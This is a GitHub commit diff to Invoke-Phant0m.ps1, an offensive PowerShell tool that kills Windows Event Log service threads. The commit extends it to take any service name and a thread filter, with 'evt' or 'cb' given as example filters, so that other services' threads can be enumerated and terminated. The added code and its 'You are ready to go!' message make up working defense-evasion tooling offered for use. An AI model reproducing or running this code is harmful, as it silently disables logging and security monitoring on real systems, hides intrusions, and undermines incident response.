Skip to content

Commit 81e6df1

Browse files
authored
Modification of Invoke-Phant0m.ps1
* Enables enumeration of threads for given process name * Enables specification of process name * Enables specification of filter to search for threads to kill
1 parent f1396c4 commit 81e6df1

1 file changed

Lines changed: 29 additions & 6 deletions

File tree

Invoke-Phant0m.ps1

Lines changed: 29 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,16 @@ Author : Halil DALABASMAZ (https://github.com/hlldz, https://twitter.com/hlldz)
5050

5151
[Parameter(ParameterSetName = 'Id')]
5252
[ValidateNotNullOrEmpty()]
53-
[Int]$Id = -1
53+
[Int]$Id = -1,
54+
55+
[Parameter(Mandatory=$True)]
56+
[string[]]$processName,
57+
58+
[Parameter(Mandatory=$False)]
59+
[string[]]$threadFilter,
60+
61+
[Parameter(Mandatory=$False)]
62+
[switch]$EnumOnly
5463
)
5564

5665
$intro = @'
@@ -1012,8 +1021,8 @@ Author : Halil DALABASMAZ (https://github.com/hlldz, https://twitter.com/hlldz)
10121021
}
10131022

10141023

1015-
Write-Host "[*] Enumerating threads of PID: $(Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId)..." -ForegroundColor Yellow
1016-
foreach ($Process in (Get-Process -Id (Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId)))
1024+
Write-Host "[*] Enumerating threads of PID: $(Get-WmiObject -Class win32_service -Filter "name = '$processName'" | select -exp ProcessId)..." -ForegroundColor Yellow
1025+
foreach ($Process in (Get-Process -Id (Get-WmiObject -Class win32_service -Filter "name = '$processName'" | select -exp ProcessId)))
10171026
{
10181027
if (($ProcessHandle = $Kernel32::OpenProcess(0x1F0FFF, $false, $Process.Id)) -eq 0) {
10191028
Write-Error -Message "Unable to open handle for process $($Process.Id)... Moving on."
@@ -1038,11 +1047,25 @@ Author : Halil DALABASMAZ (https://github.com/hlldz, https://twitter.com/hlldz)
10381047
if ($PSBoundParameters['ComputerName']) { $ReturnedObjects = Invoke-Command -ComputerName $ComputerName -ScriptBlock $RemoteScriptBlock -ArgumentList @($Name, $Id) }
10391048
else { $ReturnedObjects = Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList @($Name, $Id) }
10401049

1041-
$eventLogThreads = $ReturnedObjects | Where-Object {$_.MappedFile -like '*evt*'} | %{$_.ThreadId }
1042-
Write-Host "[*] Parsing Event Log Service Threads..." -ForegroundColor Yellow
1050+
if ($EnumOnly) {
1051+
Write-Host ""
1052+
Write-Host "[*] Threads:" -ForegroundColor Yellow
1053+
Write-Host ""
1054+
1055+
$ReturnedObjects
1056+
exit
1057+
}
1058+
1059+
if (!$threadFilter){
1060+
Write-Error "[!] A filter to search for threads must be provided with -threadfilter e.g. 'evt' or 'cb'"
1061+
exit
1062+
}
1063+
1064+
$eventLogThreads = $ReturnedObjects | Where-Object {$_.MappedFile -like "*$threadfilter*"} | %{$_.ThreadId }
1065+
Write-Host "[*] Parsing $processName Service Threads..." -ForegroundColor Yellow
10431066

10441067
if(!($eventLogThreads)) {
1045-
Write-Host "[!] There are no Event Log Service Threads, Event Log Service is not working!" -ForegroundColor Red
1068+
Write-Host "[!] There are no $processName Service Threads, $processName Service is not working!" -ForegroundColor Red
10461069
Write-Host "[+] You are ready to go!" -ForegroundColor Green
10471070
Write-Host ""
10481071
}

0 commit comments

Comments
 (0)